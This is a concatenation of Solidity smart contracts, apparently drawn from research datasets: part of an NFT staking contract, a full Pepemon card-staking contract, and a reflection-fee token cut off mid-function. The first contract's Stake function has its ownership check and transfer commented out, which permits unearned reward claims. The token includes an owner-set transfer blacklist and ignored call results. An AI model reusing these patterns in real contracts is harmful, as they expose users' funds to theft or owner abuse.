uint256 noOfDays;
// address addresss = msg.sender;
if(LockedstakingTime[_user][Tid] > 0) {
noOfDays = (block.timestamp.sub(LockedstakingTime[_user][Tid])).div(Time);
if (noOfDays > maxNoOfDays) {
noOfDays = maxNoOfDays;
}
else{
noOfDays = 0;
}
}
return noOfDays;
}
function lockedperNFTReward(address addrs) public view returns(uint256) {
bool check = GEN_1.isStaked(addrs);
uint256 rewardPerNFT;
if(check == true) {
rewardPerNFT = 15 ether;
}
else {
rewardPerNFT = 10 ether;
}
return rewardPerNFT;
}
function lockedSingleReward(address Add, uint256 Tid) public view returns(uint256) {
uint256 single_reward;
uint256 noOfDays;
uint256 rewardPerNFT = lockedperNFTReward(Add);
for (uint256 i=0; i<LockedTokenid[Add].length; i++){
uint256 _index=findlocked(Tid);
if(LockedalreadyAwarded[LockedTokenid[Add][_index]] != true &&LockedTokenid[Add][i] == Tid && LockedTokenid[Add][i] > 0) {
noOfDays = lockedCalcTime(Tid, Add);
if (noOfDays == maxNoOfDays){
single_reward = (rewardPerNFT).mul(noOfDays);
}
else if(noOfDays != maxNoOfDays) {
noOfDays = 0;
single_reward = (rewardPerNFT).mul(noOfDays);
}
}
}
return single_reward;
}
function lockedtotalReward(address Add) public view returns(uint256){
uint256 ttlReward;
for (uint256 i=0; i< LockedTokenid[Add].length; i++){
ttlReward += lockedSingleReward(Add, LockedTokenid[Add][i]);
}
return ttlReward;
}
//////////// Withdraw-Reward ////////////
function WithdrawLockedReward() public {
uint256 totalReward = lockedtotalReward(msg.sender) +
rewardOfUser(msg.sender) +
LockedUser[msg.sender].lockedAvaialable + User[msg.sender].availableToWithdraw ;
require(totalReward > 0,"you don't have reward yet!");
Token.withdrawStakingReward(msg.sender, totalReward);
for(uint256 i=0; i < LockedTokenid[msg.sender].length;i++){
uint256 _index=findlocked(LockedTokenid[msg.sender][i]);
LockedalreadyAwarded[LockedTokenid[msg.sender][_index]]=true;
// if(lockedCalcTime(LockedTokenid[msg.sender][i])==maxNoOfDays){
// LockedstakingTime[msg.sender][LockedTokenid[msg.sender][i]]=0;
// }
}
for(uint8 i=0;i<Tokenid[msg.sender].length;i++){
stakingTime[msg.sender][Tokenid[msg.sender][i]]=block.timestamp;
alreadyAwarded[Tokenid[msg.sender][i]]=true;
}
LockedUser[msg.sender].lockedAvaialable = 0;
User[msg.sender].availableToWithdraw = 0;
LockedUser[msg.sender].totlaWithdrawn += totalReward;
}
//////////// Get index by Value ////////////
function findlocked(uint value) public view returns(uint) {
uint i = 0;
while (LockedTokenid[msg.sender][i] != value) {
i++;
}
return i;
}
//////////// LockedUser have to pass tokenIdS to unstake ////////////
function unstakelocked(uint256[] memory TokenIds) external
{
address nftContract = msg.sender;
for(uint256 i=0; i<TokenIds.length; i++){
uint256 _index=findlocked(TokenIds[i]);
require(lockedCalcTime(LockedTokenid[msg.sender][_index], msg.sender)==maxNoOfDays," TIME NOT REACHED YET ");
require(LockedTokenid[msg.sender][_index] == TokenIds[i] ," NFT WITH THIS LOCKED_TOKEN_ID NOT FOUND ");
LockedUser[msg.sender].lockedAvaialable += lockedSingleReward(msg.sender,TokenIds[i]);
NFT.transferFrom(address(this),address(nftContract),TokenIds[i]);
delete LockedTokenid[msg.sender][_index];
LockedTokenid[msg.sender][_index]=LockedTokenid[msg.sender][LockedTokenid[msg.sender].length-1];
LockedstakingTime[msg.sender][TokenIds[i]]=0;
LockedTokenid[msg.sender].pop();
}
LockedUser[msg.sender].totalStaked -= TokenIds.length;
LockedtotalStakedNft[msg.sender]>0?LockedtotalStakedNft[msg.sender] -= TokenIds.length:LockedtotalStakedNft[msg.sender]=0;
}
//////////// Return All staked Nft's ////////////
function LockeduserNFT_s(address _staker)public view returns(uint256[] memory) {
return LockedTokenid[_staker];
}
function isLockedStaked(address _stakeHolder)public view returns(bool){
if(LockedtotalStakedNft[_stakeHolder]>0){
return true;
}else{
return false;
}
}
//////////// Withdraw Token ////////////
function WithdrawToken()public onlyOwner {
require(Token.transfer(msg.sender,Token.balanceOf(address(this))),"Token transfer Error!");
}
//////////////////////////////// SSTAKING /////////////////////////////////
struct userInfo
{
uint256 totlaWithdrawn;
uint256 withdrawable;
uint256 totalStaked;
uint256 availableToWithdraw;
}
mapping(address => mapping(uint256 => uint256)) public stakingTime;
mapping(address => userInfo) public User;
mapping(address => uint256[]) public Tokenid;
mapping(address=>uint256) public totalStakedNft;
mapping(uint256=>bool) public alreadyAwarded;
mapping(address=>mapping(uint256=>uint256)) public depositTime;
uint256 time= 10 seconds;
uint256 lockingtime= 1 minutes;
function Stake(uint256[] memory tokenId) external
{
for(uint256 i=0;i<tokenId.length;i++){
// require(NFT.ownerOf(tokenId[i]) == msg.sender,"nft not found");
// NFT.transferFrom(msg.sender,address(this),tokenId[i]);
Tokenid[msg.sender].push(tokenId[i]);
stakingTime[msg.sender][tokenId[i]]=block.timestamp;
if(!alreadyAwarded[tokenId[i]]){
depositTime[msg.sender][tokenId[i]]=block.timestamp;
}
}
User[msg.sender].totalStaked+=tokenId.length;
totalStakedNft[msg.sender]+=tokenId.length;
}
function rewardOfUser(address Add) public view returns(uint256)
{
uint256 RewardToken;
for(uint256 i = 0 ; i < Tokenid[Add].length ; i++){
if(Tokenid[Add][i] > 0)
{
RewardToken += (((block.timestamp - (stakingTime[Add][Tokenid[Add][i]])).div(time)))*10 ether;
}
}
return RewardToken;
}
// function WithdrawReward() public
// {
// uint256 reward = rewardOfUser(msg.sender) + User[msg.sender].availableToWithdraw;
// require(reward > 0,"you don't have reward yet!");
// Token.withdrawStakingReward(msg.sender,reward);
// for(uint8 i=0;i<Tokenid[msg.sender].length;i++){
// stakingTime[msg.sender][Tokenid[msg.sender][i]]=block.timestamp;
// }
// User[msg.sender].totlaWithdrawn += reward;
// User[msg.sender].availableToWithdraw = 0;
// for(uint256 i = 0 ; i < Tokenid[msg.sender].length ; i++){
// alreadyAwarded[Tokenid[msg.sender][i]]=true;
// }
// }
function find(uint value) internal view returns(uint) {
uint i = 0;
while (Tokenid[msg.sender][i] != value) {
i++;
}
return i;
}
function unstake(uint256[] memory _tokenId) external
{
User[msg.sender].availableToWithdraw+=rewardOfUser(msg.sender);
for(uint256 i=0;i<_tokenId.length;i++){
if(rewardOfUser(msg.sender)>0)alreadyAwarded[_tokenId[i]]=true;
uint256 _index=find(_tokenId[i]);
// require(Tokenid[msg.sender][_index] ==_tokenId[i] ,"NFT with this _tokenId not found");
// NFT.transferFrom(address(this),msg.sender,_tokenId[i]);
delete Tokenid[msg.sender][_index];
Tokenid[msg.sender][_index]=Tokenid[msg.sender][Tokenid[msg.sender].length-1];
stakingTime[msg.sender][_tokenId[i]]=0;
Tokenid[msg.sender].pop();
}
User[msg.sender].totalStaked-=_tokenId.length;
totalStakedNft[msg.sender]>0?totalStakedNft[msg.sender]-=_tokenId.length:totalStakedNft[msg.sender]=0;
}
function isStaked(address _stakeHolder)public view returns(bool){
if(totalStakedNft[_stakeHolder]>0){
return true;
}else{
return false;
}
}
function userStakedNFT(address _staker)public view returns(uint256[] memory) {
return Tokenid[_staker];
}
}
| 106,163 | 13,135 |
d5763a53442d137619e5084fe6d80c30ad3484fbc4b110b3ee7651e9b9bfe9ed
| 14,914 |
.sol
|
Solidity
| false |
593908510
|
SKKU-SecLab/SmartMark
|
fdf0675d2f959715d6f822351544c6bc91a5bdd4
|
dataset/Solidity_codes_9324/0xdf7f126b7270ba17c7b9964188e9020eb410096d.sol
| 3,890 | 14,311 |
pragma solidity ^0.6.0;
pragma experimental ABIEncoderV2;
contract Context {
constructor () internal { }
function _msgSender() internal view returns (address payable) {
return msg.sender;
}
function _msgData() internal view returns (bytes memory) {
this;
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(isOwner(), "Ownable: caller is not the owner");
_;
}
function isOwner() public view returns (bool) {
return _msgSender() == _owner;
}
function renounceOwnership() public onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) public onlyOwner {
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
interface IPepemonFactory {
function balanceOf(address _owner, uint256 _id) external view returns (uint256);
function balanceOfBatch(address[] calldata _owners, uint256[] calldata _ids) external view returns (uint256[] memory);
function mint(address _to, uint256 _id, uint256 _quantity, bytes calldata _data) external;
function burn(address _account, uint256 _id, uint256 _amount) external;
function safeTransferFrom(address _from, address _to, uint256 _id, uint256 _amount, bytes calldata _data) external;
function safeBatchTransferFrom(address _from, address _to, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external;
}
contract PepemonStake is Ownable {
using SafeMath for uint256;
IPepemonFactory public pepemonFactory;
struct StakingEvent {
uint256[] cardIdList;
uint256 cardAmountAny;
uint256[] cardAmountList; // Will be ignored if cardAmountAny > 0
uint256 cardRewardId;
uint256 blockStakeLength; // Amounts of blocks of staking required to complete the event
uint256 blockEventClose; // Block at which this event will not accept any new stake
uint256[] toBurnIdList; // Id list of cards to burn on completion of event
uint256[] toBurnAmountList; // Amount list of cards to burn on completion of event
}
struct UserInfo {
bool isCompleted;
uint256 blockEnd; // Block at which user will have completed the event (If this is not 0, user is currently staking)
}
StakingEvent[] public stakingEvents;
mapping (address => mapping(uint256 => UserInfo)) public userInfo;
mapping (address => mapping(uint256 => mapping(uint256 => uint256))) public cardsStaked; // address => eventId => cardId => amountStaked
event StakingEventCreated(uint256 eventId);
event StakingEventEntered(address indexed user, uint256 eventId);
event StakingEventCompleted(address indexed user, uint256 eventId);
event StakingEventCancelled(address indexed user, uint256 eventId);
constructor(IPepemonFactory _pepemonFactoryAddress) public {
pepemonFactory = _pepemonFactoryAddress;
}
function getStakingEventsLength() external view returns(uint256) {
return stakingEvents.length;
}
function getAllEvents() public view returns(StakingEvent[] memory) {
return stakingEvents;
}
function getActiveEvents() external view returns(uint256[] memory) {
StakingEvent[] memory _events = getAllEvents();
uint256 nbActive = 0;
for (uint256 i = 0; i < _events.length; i++) {
if (_events[i].blockEventClose >= block.number) {
nbActive++;
}
}
uint256[] memory _result = new uint256[](nbActive);
uint256 idx = 0;
for (uint256 i = 0; i < _events.length; i++) {
if (_events[i].blockEventClose >= block.number) {
_result[idx] = i;
idx++;
}
}
return _result;
}
function getClosedEvents() external view returns(uint256[] memory) {
StakingEvent[] memory _events = getAllEvents();
uint256 nbCompleted = 0;
for (uint256 i = 0; i < _events.length; i++) {
if (_events[i].blockEventClose < block.number) {
nbCompleted++;
}
}
uint256[] memory _result = new uint256[](nbCompleted);
uint256 idx = 0;
for (uint256 i = 0; i < _events.length; i++) {
if (_events[i].blockEventClose < block.number) {
_result[idx] = i;
idx++;
}
}
return _result;
}
function getCardIdListOfEvent(uint256 _eventId) external view returns(uint256[] memory) {
return stakingEvents[_eventId].cardIdList;
}
function getCardAmountListOfEvent(uint256 _eventId) external view returns(uint256[] memory) {
return stakingEvents[_eventId].cardAmountList;
}
function getUserProgress(address _user, uint256 _eventId) external view returns(uint256) {
StakingEvent memory _event = stakingEvents[_eventId];
UserInfo memory _userInfo = userInfo[_user][_eventId];
if (_userInfo.blockEnd == 0) {
return 0;
}
if (_userInfo.isCompleted || block.number >= _userInfo.blockEnd) {
return 1e5;
}
uint256 blocksLeft = _userInfo.blockEnd.sub(block.number);
uint256 blocksStaked = _event.blockStakeLength.sub(blocksLeft);
return blocksStaked.mul(1e5).div(_event.blockStakeLength);
}
function createStakingEvent(uint256[] memory _cardIdList, uint256 _cardAmountAny, uint256[] memory _cardAmountList, uint256 _cardRewardId,
uint256 _blockStakeLength, uint256 _blockEventClose, uint256[] memory _toBurnIdList, uint256[] memory _toBurnAmountList) public onlyOwner {
require(_cardIdList.length > 0, "Accepted card list is empty");
require(_cardAmountAny > 0 || _cardAmountList.length > 0, "Card amount required not specified");
require(_blockEventClose > block.number, "blockEventClose < current block");
require(_toBurnIdList.length == _toBurnAmountList.length, "ToBurn arrays have different length");
require(_cardAmountAny == 0 || _toBurnIdList.length == 0, "ToBurn not supported with anyEvent");
stakingEvents.push(StakingEvent({
cardIdList: _cardIdList,
cardAmountAny: _cardAmountAny,
cardAmountList: _cardAmountList,
cardRewardId: _cardRewardId,
blockStakeLength: _blockStakeLength,
blockEventClose: _blockEventClose,
toBurnIdList: _toBurnIdList,
toBurnAmountList: _toBurnAmountList
}));
emit StakingEventCreated(stakingEvents.length - 1);
}
function closeStakingEvent(uint256 _eventId) public onlyOwner {
require(stakingEvents[_eventId].blockEventClose > block.number, "Event already closed");
stakingEvents[_eventId].blockEventClose = block.number;
}
function stakeAny(uint256 _eventId, uint256[] memory _cardIdList, uint256[] memory _cardAmountList) public {
require(_cardIdList.length == _cardAmountList.length, "Arrays have different length");
StakingEvent storage _event = stakingEvents[_eventId];
UserInfo storage _userInfo = userInfo[msg.sender][_eventId];
require(block.number <= _event.blockEventClose, "Event is closed");
require(_userInfo.isCompleted == false, "Address already completed event");
require(_userInfo.blockEnd == 0, "Address already staked for this event");
require(_event.cardAmountAny > 0, "Not a stakeAny event");
for (uint256 i = 0; i < _cardIdList.length; i++) {
require(_isInArray(_cardIdList[i], _event.cardIdList), "Card not accepted");
}
uint256 total = 0;
for (uint256 i = 0; i < _cardAmountList.length; i++) {
total = total.add(_cardAmountList[i]);
}
require(total == _event.cardAmountAny, "Wrong card total");
pepemonFactory.safeBatchTransferFrom(msg.sender, address(this), _cardIdList, _cardAmountList, "");
for (uint256 i = 0; i < _cardIdList.length; i++) {
uint256 cardId = _cardIdList[i];
uint256 amount = _cardAmountList[i];
cardsStaked[msg.sender][_eventId][cardId] = amount;
}
_userInfo.blockEnd = block.number.add(_event.blockStakeLength);
emit StakingEventEntered(msg.sender, _eventId);
}
function stake(uint256 _eventId) public {
StakingEvent storage _event = stakingEvents[_eventId];
UserInfo storage _userInfo = userInfo[msg.sender][_eventId];
require(block.number <= _event.blockEventClose, "Event is closed");
require(_userInfo.isCompleted == false, "Address already completed event");
require(_userInfo.blockEnd == 0, "Address already staked for this event");
pepemonFactory.safeBatchTransferFrom(msg.sender, address(this), _event.cardIdList, _event.cardAmountList, "");
for (uint256 i = 0; i < _event.cardIdList.length; i++) {
uint256 cardId = _event.cardIdList[i];
uint256 amount = _event.cardAmountList[i];
cardsStaked[msg.sender][_eventId][cardId] = amount;
}
_userInfo.blockEnd = block.number.add(_event.blockStakeLength);
emit StakingEventEntered(msg.sender, _eventId);
}
function claim(uint256 _eventId) public {
StakingEvent storage _event = stakingEvents[_eventId];
UserInfo storage _userInfo = userInfo[msg.sender][_eventId];
require(block.number >= _userInfo.blockEnd, "BlockEnd not reached");
_userInfo.isCompleted = true;
pepemonFactory.mint(msg.sender, _event.cardRewardId, 1, "");
_withdrawCardsStaked(_eventId, true);
emit StakingEventCompleted(msg.sender, _eventId);
}
function cancel(uint256 _eventId) public {
UserInfo storage _userInfo = userInfo[msg.sender][_eventId];
require(_userInfo.isCompleted == false, "Address already completed event");
require(_userInfo.blockEnd != 0, "Address is not staked for this event");
delete _userInfo.isCompleted;
delete _userInfo.blockEnd;
_withdrawCardsStaked(_eventId, false);
emit StakingEventCancelled(msg.sender, _eventId);
}
function _withdrawCardsStaked(uint256 _eventId, bool _burn) internal {
StakingEvent storage _event = stakingEvents[_eventId];
uint256[] memory _cardIdList = _event.cardIdList;
uint256[] memory _cardAmountList = new uint256[](_cardIdList.length);
uint256[] memory _toBurnIdList = _event.toBurnIdList;
uint256[] memory _toBurnAmountList = _event.toBurnAmountList;
if (_burn == true) {
for (uint256 i = 0; i < _toBurnIdList.length; i++) {
uint256 cardId = _toBurnIdList[i];
uint256 amount = _toBurnAmountList[i];
cardsStaked[msg.sender][_eventId][cardId] = cardsStaked[msg.sender][_eventId][cardId].sub(amount);
pepemonFactory.burn(address(this), cardId, amount);
}
}
for (uint256 i = 0; i < _cardIdList.length; i++) {
uint256 cardId = _cardIdList[i];
_cardAmountList[i] = cardsStaked[msg.sender][_eventId][cardId];
delete cardsStaked[msg.sender][_eventId][cardId];
}
pepemonFactory.safeBatchTransferFrom(address(this), msg.sender, _cardIdList, _cardAmountList, "");
}
function _isInArray(uint256 _value, uint256[] memory _array) internal pure returns(bool) {
uint256 length = _array.length;
for (uint256 i = 0; i < length; ++i) {
if (_array[i] == _value) {
return true;
}
}
return false;
}
function onERC1155Received(address _operator, address _from, uint256 _id, uint256 _amount, bytes calldata _data) external returns(bytes4) {
return 0xf23a6e61;
}
function onERC1155BatchReceived(address _operator, address _from, uint256[] calldata _ids, uint256[] calldata _amounts, bytes calldata _data) external returns(bytes4) {
return 0xbc197c81;
}
function supportsInterface(bytes4 interfaceID) external view returns (bool) {
return interfaceID == 0x01ffc9a7 || // ERC-165 support (i.e. `bytes4(keccak256('supportsInterface(bytes4)'))`).
interfaceID == 0x4e2312e0;
}
}
| 275,250 | 13,136 |
7d407b3aa7a43bca88bc5090a560f83e62bdb8f0796828d5f3a1c80a56648cf6
| 20,284 |
.sol
|
Solidity
| false |
454032456
|
tintinweb/smart-contract-sanctuary-avalanche
|
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
|
contracts/testnet/5a/5a7c03d009f3593afa16129e8980a1b61cc8bb8f_ShieldNetworkToken.sol
| 5,041 | 18,957 |
//SPDX-License-Identifier: MIT
pragma solidity ^0.8.4;
// File: contracts\Context.sol
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
// File: contracts\Ownable.sol
contract Ownable is Context {
address private _owner;
address private _previousOwner;
event OwnershipTransferred(address indexed previousOwner,
address indexed newOwner);
constructor() {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
modifier onlyOwner() {
require(_owner == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
}
// File: contracts\IERC20.sol
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount)
external
returns (bool);
function allowance(address owner, address spender)
external
view
returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender,
address recipient,
uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner,
address indexed spender,
uint256 value);
}
// File: contracts\SafeMath.sol
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a,
uint256 b,
string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
// File: contracts\IUniswapV2Factory.sol
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
// File: contracts\IUniswapV2Router02.sol
interface IUniswapV2Router02 {
function swapExactETHForTokensSupportingFeeOnTransferTokens(uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external payable;
function swapExactTokensForETHSupportingFeeOnTransferTokens(uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline)
external
payable
returns (uint256 amountToken,
uint256 amountETH,
uint256 liquidity);
}
// File: contracts\ShieldNetETH.sol
contract ShieldNetworkToken is IERC20, Ownable {
using SafeMath for uint256;
mapping(address => uint256) private _rOwned;
mapping(address => uint256) private _tOwned;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
mapping(address => bool) private bots;
mapping(address => uint256) private cooldown;
uint256 private constant MAX = ~uint256(0);
uint256 private constant _tTotal = 1_000_000_000_000 * 10**9;
uint256 private _rTotal = (MAX - (MAX % _tTotal));
uint256 private _tFeeTotal;
uint256 private _feeReflection = 1;
uint256 private _feeTeam = 8;
uint256 private _feeLiquidity = 3;
uint256 private _maxFees = 15;
address payable private _marketingWallet;
address payable private _devFundWallet;
address payable private _liquidityWallet;
string private constant _name = "Shield Network Token";
string private constant _symbol = "SHIELDNET";
uint8 private constant _decimals = 9;
IUniswapV2Router02 private uniswapV2Router;
address private uniswapV2Pair;
bool private tradingOpen;
bool private inSwap = false;
bool private swapEnabled = false;
bool private cooldownEnabled = false;
uint256 private _maxTxAmount = _tTotal;
uint256 private _swapThreshold = 5_000_000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
event SwapAndLiquify(uint256 amountETH, uint256 amountToken);
event FeeSettingsModified();
event ReflectionFeeModified(uint256 oldValue, uint256 newValue);
event ExcludeFromFee(address account, bool exclude);
event SwapThresholdModified(uint256 oldValue, uint256 newValue);
modifier lockTheSwap() {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_marketingWallet = payable(owner());
_devFundWallet = payable(owner());
_liquidityWallet = payable(owner());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingWallet] = true;
_isExcludedFromFee[_devFundWallet] = true;
_isExcludedFromFee[_liquidityWallet] = true;
_rOwned[_msgSender()] = _rTotal;
emit Transfer(address(0), _msgSender(), _tTotal);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public pure override returns (uint256) {
return _tTotal;
}
function balanceOf(address account) public view override returns (uint256) {
return tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender,
address recipient,
uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(sender == address(this) &&
_msgSender() == address(uniswapV2Router)
? 0 // ensure router will always be able to execute swaps (swapBack)
: amount,
"ERC20: transfer amount exceeds allowance"));
return true;
}
function setCooldownEnabled(bool onoff) external onlyOwner {
cooldownEnabled = onoff;
}
function tokenFromReflection(uint256 rAmount)
private
view
returns (uint256)
{
require(rAmount <= _rTotal,
"Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _approve(address owner,
address spender,
uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from,
address to,
uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (from != owner() && to != owner()) {
require(!bots[from] && !bots[to]);
if (from == uniswapV2Pair &&
to != address(uniswapV2Router) &&
!_isExcludedFromFee[to] &&
cooldownEnabled) {
// Cooldown
require(amount <= _maxTxAmount);
require(cooldown[to] < block.timestamp);
cooldown[to] = block.timestamp + (30 seconds);
}
if (!inSwap &&
from != uniswapV2Pair &&
swapEnabled &&
balanceOf(address(this)) >= _swapThreshold) {
swapBack();
}
}
uint256 tmpFeeReflect = _feeReflection;
uint256 tmpFeeTeam = _feeTeam;
uint256 tmpFeeLiquidity = _feeLiquidity;
if (_isExcludedFromFee[from] || _isExcludedFromFee[to]) {
_feeReflection = 0;
_feeTeam = 0;
_feeLiquidity = 0;
}
_tokenTransfer(from, to, amount);
// set back fee settings
_feeReflection = tmpFeeReflect;
_feeTeam = tmpFeeTeam;
_feeLiquidity = tmpFeeLiquidity;
}
function swapBack() private lockTheSwap {
uint256 swapThreshold = _swapThreshold;
uint256 totalFees = _feeTeam.add(_feeLiquidity);
uint256 amountToLiquify = swapThreshold
.mul(_feeLiquidity)
.div(totalFees)
.div(2);
uint256 amountToSwap = swapThreshold.sub(amountToLiquify);
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
uint256 balanceBefore = address(this).balance;
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(amountToSwap,
0,
path,
address(this),
block.timestamp);
uint256 totalETHFee = totalFees.sub(_feeLiquidity.div(2));
uint256 amountETH = address(this).balance.sub(balanceBefore);
uint256 teamETH = amountETH.mul(_feeTeam).div(totalETHFee);
uint256 liquidityETH = amountETH.sub(teamETH);
sendETHToTeam(teamETH);
if (liquidityETH > 0 && amountToLiquify > 0) {
uniswapV2Router.addLiquidityETH{value: liquidityETH}(address(this),
amountToLiquify,
0,
0,
_liquidityWallet,
block.timestamp);
}
if (address(this).balance > 0) {
(bool success,) = _marketingWallet.call{
value: address(this).balance
}("");
require(success || !success);
}
emit SwapAndLiquify(amountETH, amountToLiquify);
}
function sendETHToTeam(uint256 amount) private {
(bool successTx1,) = _marketingWallet.call{
value: amount.div(2),
gas: 30000
}("");
(bool successTx2,) = _devFundWallet.call{
value: amount.div(2),
gas: 30000
}("");
require(successTx1 || !successTx1 || successTx2 || !successTx2); // supress warnings
}
function openTrading() external onlyOwner {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x60aE616a2155Ee3d9A68541Ba4544862310933d4);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(address(this),
balanceOf(address(this)),
0,
0,
_liquidityWallet,
block.timestamp);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 50000000000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(address(uniswapV2Router),
type(uint256).max);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(address sender,
address recipient,
uint256 amount) private {
_transferStandard(sender, recipient, amount);
}
function _transferStandard(address sender,
address recipient,
uint256 tAmount) private {
(uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam,
uint256 tLiquidity) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTaxes(tTeam + tLiquidity);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTaxes(uint256 tTaxes) private {
uint256 currentRate = _getRate();
uint256 rTaxes = tTaxes.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTaxes);
if (tTaxes > 0) emit Transfer(_msgSender(), address(this), tTaxes);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam,
uint256 tLiquidity)
{
(tTransferAmount, tFee, tTeam, tLiquidity) = _getTValues(tAmount,
_feeReflection,
_feeTeam,
_feeLiquidity);
uint256 currentRate = _getRate();
(rAmount, rTransferAmount, rFee) = _getRValues(tAmount,
tFee,
tTeam,
tLiquidity,
currentRate);
}
function _getTValues(uint256 tAmount,
uint256 taxFee,
uint256 teamFee,
uint256 liquidityFee)
private
pure
returns (uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam,
uint256 tLiquidity)
{
tFee = tAmount.mul(taxFee).div(100);
